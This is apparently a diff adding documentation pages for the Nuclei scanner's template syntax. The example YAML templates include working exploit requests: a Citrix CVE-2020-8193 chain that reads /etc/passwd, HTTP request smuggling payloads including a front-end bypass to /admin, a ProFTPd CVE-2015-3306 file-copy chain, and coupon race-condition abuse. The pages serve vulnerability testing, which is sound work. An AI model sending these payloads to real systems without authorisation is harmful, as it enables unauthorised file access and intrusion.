This template makes a subsequent HTTP requests with defined requests maintaining sessions between each request and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
|
||||
- |
|
||||
POST /testing HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
|
||||
testing=parameter
|
||||
|
||||
cookie-reuse: true # Cookie-reuse maintain the session between all request like browser.
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Dynamic variable support
|
||||
|
||||
This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: CVE-2020-8193
|
||||
|
||||
info:
|
||||
name: Citrix unauthenticated LFI
|
||||
author: pdteam
|
||||
severity: high
|
||||
reference: https://github.com/jas502n/CVE-2020-8193
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: xpyZxwy6
|
||||
X-NITRO-PASS: xWXHUJ56
|
||||
|
||||
<appfwprofile><login></login></appfwprofile>
|
||||
|
||||
- |
|
||||
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET /menu/neo HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET /menu/stc HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: §randkey§
|
||||
|
||||
<appfwprofile><login></login></appfwprofile>
|
||||
|
||||
- |
|
||||
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: python-requests/2.24.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: §randkey§
|
||||
|
||||
<clipermission></clipermission>
|
||||
|
||||
cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: randkey # Variable name
|
||||
part: body
|
||||
internal: true
|
||||
regex:
|
||||
- "(?m)[0-9]{3,10}\\.[0-9]+"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
```
|
||||
@@ -0,0 +1,108 @@
|
||||
---
|
||||
title: "Race Condition"
|
||||
---
|
||||
|
||||
## Race condition testing with single POST request.
|
||||
|
||||
This template makes a defined POST request in RAW format to `/coupons` endpoint, as the `race_count`is defined as `10`, this will make 10 requests at same time by holding last bytes for all the requests which sent together for all requests synchronizing the send event.
|
||||
|
||||
You can also define the matcher as any other template for the expected output which helps to identify if the race condition exploit worked or not.
|
||||
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race Condition testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /coupons HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
Cookie: user_session=42332423342987567896
|
||||
|
||||
promo_code=20OFF
|
||||
|
||||
race: true
|
||||
race_count: 10
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
## Race condition testing with multiple requests.
|
||||
|
||||
This template makes the defined and multiple POST requests in RAW format with `threads` sets to `5`, `threads` can be utilized in race condition templates when multiple requests needs to be sent to exploit the race condition, `threads` number should be same as the number of you are making with template and not needed if you're only making single request.
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race condition testing with multiple requests
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=1
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=2
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=3
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=4
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=5
|
||||
|
||||
threads: 5
|
||||
race: true
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
@@ -0,0 +1,252 @@
|
||||
---
|
||||
title: "Unsafe HTTP"
|
||||
---
|
||||
|
||||
## Basic CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
```yaml
|
||||
id: CL-TE-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "Unrecognized method GPOST")'
|
||||
```
|
||||
|
||||
## Basic TE.CL
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: TE-CL-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic TE.CL vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "Unrecognized method GPOST")'
|
||||
```
|
||||
|
||||
## Frontend bypass CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: smuggling-bypass-front-end-controls-cl-te
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 116
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 10
|
||||
|
||||
x=
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 116
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 10
|
||||
|
||||
x=
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "/admin/delete?username=carlos")'
|
||||
```
|
||||
|
||||
## Differential responses based CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: confirming-cl-te-via-differential-responses-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 35
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X-Ignore: X
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 35
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X-Ignore: X
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code==404'
|
||||
```
|
||||
|
||||
## Differential responses based TE.CL
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: confirming-te-cl-via-differential-responses-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5e
|
||||
POST /404 HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5e
|
||||
POST /404 HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code==404'
|
||||
```
|
||||
@@ -0,0 +1,72 @@
|
||||
---
|
||||
title: "Raw HTTP"
|
||||
---
|
||||
|
||||
## Basic template
|
||||
|
||||
This template makes GET request to `/` path in RAW format and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: basic-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Multiple RAW request
|
||||
|
||||
This template makes GET and POST request sequentially in RAW format and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
- |
|
||||
POST /testing HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
testing=parameter
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
@@ -0,0 +1,140 @@
|
||||
---
|
||||
title: "Network"
|
||||
---
|
||||
|
||||
## Basic Network Request
|
||||
|
||||
This template connects to a network service, sends some data and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`.
|
||||
|
||||
```yaml
|
||||
id: basic-network-request
|
||||
|
||||
info:
|
||||
name: Basic Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "PING\r\n"
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "PONG"
|
||||
```
|
||||
|
||||
## TLS Network Request
|
||||
|
||||
Similar to the above template, but the connection to the service is done with TLS enabled.
|
||||
|
||||
```yaml
|
||||
id: basic-tls-network-request
|
||||
|
||||
info:
|
||||
name: Basic TLS Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "tls://{{Hostname}}"
|
||||
inputs:
|
||||
- data: "PING\r\n"
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "PONG"
|
||||
```
|
||||
|
||||
## Hex Input Request
|
||||
|
||||
This template connects to a network service, sends some data encoded in hexadecimal to the server and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`. The match words here are encoded in Hexadecimal, using `encoding: hex` option of matchers.
|
||||
|
||||
```yaml
|
||||
id: hex-network-request
|
||||
|
||||
info:
|
||||
name: Hex Input Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "50494e47"
|
||||
type: hex
|
||||
- data: "\r\n"
|
||||
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
encoding: hex
|
||||
words:
|
||||
- "504f4e47"
|
||||
```
|
||||
|
||||
## Input Expressions
|
||||
|
||||
Inputs specified in network also support DSL Helper Expressions, so you can create your own complex inputs using variety of nuclei helper functions. The below template is an example of using `hex_decode` function to send decoded input over wire.
|
||||
|
||||
```yaml
|
||||
id: input-expressions-mongodb-detect
|
||||
|
||||
info:
|
||||
name: Input Expression MongoDB Detection
|
||||
author: pd-team
|
||||
severity: info
|
||||
reference: https://github.com/orleven/Tentacle
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
read-size: 2048
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "logicalSessionTimeout"
|
||||
- "localTime"
|
||||
```
|
||||
|
||||
## Multi-Step Requests
|
||||
|
||||
This last example is an RCE in proFTPd which, if vulnerable, allows placing arbitrary files in any directory on the server. The detection process involves a random string on each nuclei run using `{{randstr}}`, and sending multiple lines of FTP input to the vulnerable server. At the end, a successful match is detected with the presence of `Copy successful` in the response.
|
||||
|
||||
```yaml
|
||||
id: CVE-2015-3306
|
||||
|
||||
info:
|
||||
name: ProFTPd RCE
|
||||
author: pd-team
|
||||
severity: high
|
||||
reference: https://github.com/t0kx/exploit-CVE-2015-3306
|
||||
tags: cve,cve2015,ftp,rce
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "site cpfr /proc/self/cmdline\r\n"
|
||||
read: 1024
|
||||
- data: "site cpto /tmp/.{{randstr}}\r\n"
|
||||
read: 1024
|
||||
- data: "site cpfr /tmp/.{{randstr}}\r\n"
|
||||
read: 1024
|
||||
- data: "site cpto /var/www/html/{{randstr}}\r\n"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
read-size: 1024
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Copy successful"
|
||||
```
|
||||
@@ -0,0 +1,118 @@
|
||||
---
|
||||
title: "Workflow"
|
||||
---
|
||||
|
||||
## Generic workflows
|
||||
|
||||
A generic workflow that runs two templates, one to detect Jira and another to detect Confluence.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/jira-detect.yaml
|
||||
- template: technologies/confluence-detect.yaml
|
||||
```
|
||||
|
||||
## Basic conditional workflows
|
||||
|
||||
A condition based workflow, which first tries to detect if springboot is running on a target. If springboot is found, a list of exploits executed against it.
|
||||
|
||||
```yaml
|
||||
id: springboot-workflow
|
||||
|
||||
info:
|
||||
name: Springboot Security Checks
|
||||
author: dwisiswant0
|
||||
|
||||
workflows:
|
||||
- template: security-misconfiguration/springboot-detect.yaml
|
||||
subtemplates:
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2020-5410.yaml
|
||||
- template: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
|
||||
- template: vulnerabilities/springboot-h2-db-rce.yaml
|
||||
```
|
||||
|
||||
## Multi condition workflows
|
||||
|
||||
This template demonstrates nested workflows with nuclei, where there's multiple levels of chaining of templates.
|
||||
|
||||
```yaml
|
||||
id: springboot-workflow
|
||||
|
||||
info:
|
||||
name: Springboot Security Checks
|
||||
author: dwisiswant0
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: lotus-domino
|
||||
subtemplates:
|
||||
- template: technologies/lotus-domino-version.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-yy-zz.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-xx-xx.yaml
|
||||
```
|
||||
|
||||
## Conditional workflows with matcher
|
||||
|
||||
This template detects if WordPress is running on an input host, and if found a set of targeted exploits and CVEs are executed against it.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: wordpress
|
||||
subtemplates:
|
||||
- template: cves/CVE-2019-6715.yaml
|
||||
- template: cves/CVE-2019-9978.yaml
|
||||
- template: files/wordpress-db-backup.yaml
|
||||
- template: files/wordpress-debug-log.yaml
|
||||
- template: files/wordpress-directory-listing.yaml
|
||||
- template: files/wordpress-emergency-script.yaml
|
||||
- template: files/wordpress-installer-log.yaml
|
||||
- template: files/wordpress-tmm-db-migrate.yaml
|
||||
- template: files/wordpress-user-enumeration.yaml
|
||||
- template: security-misconfiguration/wordpress-accessible-wpconfig.yaml
|
||||
- template: vulnerabilities/sassy-social-share.yaml
|
||||
- template: vulnerabilities/w3c-total-cache-ssrf.yaml
|
||||
- template: vulnerabilities/wordpress-duplicator-path-traversal.yaml
|
||||
- template: vulnerabilities/wordpress-social-metrics-tracker.yaml
|
||||
- template: vulnerabilities/wordpress-wordfence-xss.yaml
|
||||
- template: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
|
||||
```
|
||||
|
||||
## Multiple Matcher workflow
|
||||
|
||||
Very similar to the last example, with multiple matcher names.
|
||||
|
||||
```yaml
|
||||
id: workflow-multiple-matcher
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: vbulletin
|
||||
subtemplates:
|
||||
- tags: vbulletin
|
||||
|
||||
- name: jboss
|
||||
subtemplates:
|
||||
- tags: jboss
|
||||
|
||||
```
|
||||
@@ -0,0 +1,295 @@
|
||||
---
|
||||
title: "Code"
|
||||
---
|
||||
|
||||
Nuclei enables the execution of external code on the host operating system. This feature allows security researchers, pentesters, and developers to extend the capabilities of Nuclei and perform complex actions beyond the scope of regular supported protocol-based testing.
|
||||
|
||||
By leveraging this capability, Nuclei can interact with the underlying operating system and execute custom scripts or commands, opening up a wide range of possibilities. It enables users to perform tasks such as system-level configurations, file operations, network interactions, and more. This level of control and flexibility empowers users to tailor their security testing workflows according to their specific requirements.
|
||||
|
||||
To write code template, a code block is used to indicate the start of the requests for the template. This block marks the beginning of the code-related instructions.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
code:
|
||||
```
|
||||
## Engine
|
||||
|
||||
To execute the code, a list of language interpreters, which are installed or available on the system environment, is specified. These interpreters can be and not limited to `bash` `sh` `py` `python3`, `go`, `ps`, among others, and they are searched sequentially until a suitable one is found. The identifiers for these interpreters should correspond to their respective names or identifiers recognized by the system environment.
|
||||
|
||||
```yaml
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
```
|
||||
|
||||
The code to be executed can be provided either as an external file or as a code snippet directly within the template.
|
||||
|
||||
For an external file:
|
||||
|
||||
```yaml
|
||||
source: helpers/code/pyfile.py
|
||||
```
|
||||
|
||||
For a code snippet:
|
||||
```yaml
|
||||
source: |
|
||||
import sys
|
||||
print("hello from " + sys.stdin.read())
|
||||
```
|
||||
|
||||
The target is passed to the template via stdin, and the output of the executed code is available for further processing in matchers and extractors. In the case of the Code protocol, the response part represents all data printed to stdout during the execution of the code.
|
||||
|
||||
## Parts
|
||||
|
||||
Valid `part` values supported by **Code** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
| -------- | ---------------------------------------------------- |
|
||||
| response | execution output (trailing whitespaces are filtered) |
|
||||
| stderr | Raw Stderr Output(if any) |
|
||||
|
||||
The provided example demonstrates the execution of a bash and python code snippet within the template. The specified engines are searched in the given order, and the code snippet is executed accordingly. Additionally, dynamic template variables are used in the code snippet, which are replaced with their respective values during the execution of the template which shows the flexibility and customization that can be achieved using this protocol.
|
||||
|
||||
```yaml
|
||||
id: code-template
|
||||
|
||||
info:
|
||||
name: example code template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
variables:
|
||||
OAST: "{{interactsh-url}}"
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
echo "$OAST" | base64
|
||||
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
source: |
|
||||
import base64
|
||||
import os
|
||||
|
||||
text = os.getenv('OAST')
|
||||
text_bytes = text.encode('utf-8')
|
||||
base64_bytes = base64.b64encode(text_bytes)
|
||||
base64_text = base64_bytes.decode('utf-8')
|
||||
|
||||
print(base64_text)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?x={{code_1_response}}"
|
||||
- "{{BaseURL}}/?x={{code_2_response}}"
|
||||
|
||||
# digest: 4a0a0047304502202ce8fe9f5992782da6ba59da4e8ebfde9f19a12e247adc507040e9f1f1124b4e022100cf0bc7a44a557a6655f79a2b4789e103f5099f0f81a8d1bc4ad8aabe7829b1c5:8eeeebe39b11b16384b45bc7e9163000
|
||||
```
|
||||
|
||||
Apart from required fields mentioned above, Code protocol also supports following optional fields to further customize the execution of code.
|
||||
|
||||
## Args
|
||||
|
||||
Args are arguments that are sent to engine while executing the code. For example if we want to bypass execution policy in powershell for specific template this can be done by adding following args to the template.
|
||||
|
||||
```yaml
|
||||
- engine:
|
||||
- powershell
|
||||
- powershell.exe
|
||||
args:
|
||||
- -ExecutionPolicy
|
||||
- Bypass
|
||||
- -File
|
||||
```
|
||||
|
||||
## Pattern
|
||||
|
||||
Pattern field can be used to customize name / extension of temporary file while executing a code snippet in a template
|
||||
|
||||
```yaml
|
||||
pattern: "*.ps1"
|
||||
```
|
||||
|
||||
adding `pattern: "*.ps1"` will make sure that name of temporary file given pattern.
|
||||
|
||||
Below is a example code template where we are executing a powershell script while customizing behaviour of execution policy and setting pattern to `*.ps1`
|
||||
|
||||
```yaml
|
||||
id: ps1-code-snippet
|
||||
|
||||
info:
|
||||
name: ps1-code-snippet
|
||||
author: pdteam
|
||||
severity: info
|
||||
description: |
|
||||
ps1-code-snippet
|
||||
tags: code
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- powershell
|
||||
- powershell.exe
|
||||
args:
|
||||
- -ExecutionPolicy
|
||||
- Bypass
|
||||
- -File
|
||||
pattern: "*.ps1"
|
||||
source: |
|
||||
$stdin = [Console]::In
|
||||
$line = $stdin.ReadLine()
|
||||
Write-Host "hello from $line"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "hello from input"
|
||||
# digest: 4a0a00473045022100eb01da6b97893e7868c584f330a0cd52df9bddac005860bb8595ba5b8aed58c9022050043feac68d69045cf320cba9298a2eb2e792ea4720d045d01e803de1943e7d:4a3eb6b4988d95847d4203be25ed1d46
|
||||
```
|
||||
|
||||
For more examples, please refer to example [code-templates](https://github.com/projectdiscovery/nuclei/blob/3a5f9d626ea7b632ccca601b658acd9758f8f01b/integration_tests/protocols/code) in integration tests.
|
||||
|
||||
It's important to exercise caution while utilizing this feature, as executing external code on the host operating system carries inherent risks. It is crucial to ensure that the executed code is secure, thoroughly tested, and does not pose any unintended consequences or security risks to the target system.
|
||||
|
||||
## Template Signing
|
||||
|
||||
Template signing via the private-public key mechanism is a crucial aspect of ensuring the integrity, authenticity and security of templates. This mechanism involves the use of asymmetric cryptography, specifically ECDSA algorithm, to create a secure and verifiable signature.
|
||||
|
||||
In this process, a template author generates a private key that remains confidential and securely stored. The corresponding public key is then shared with the template consumers. When a template is created or modified, the author signs it using their private key, generating a unique signature that is attached to the template.
|
||||
|
||||
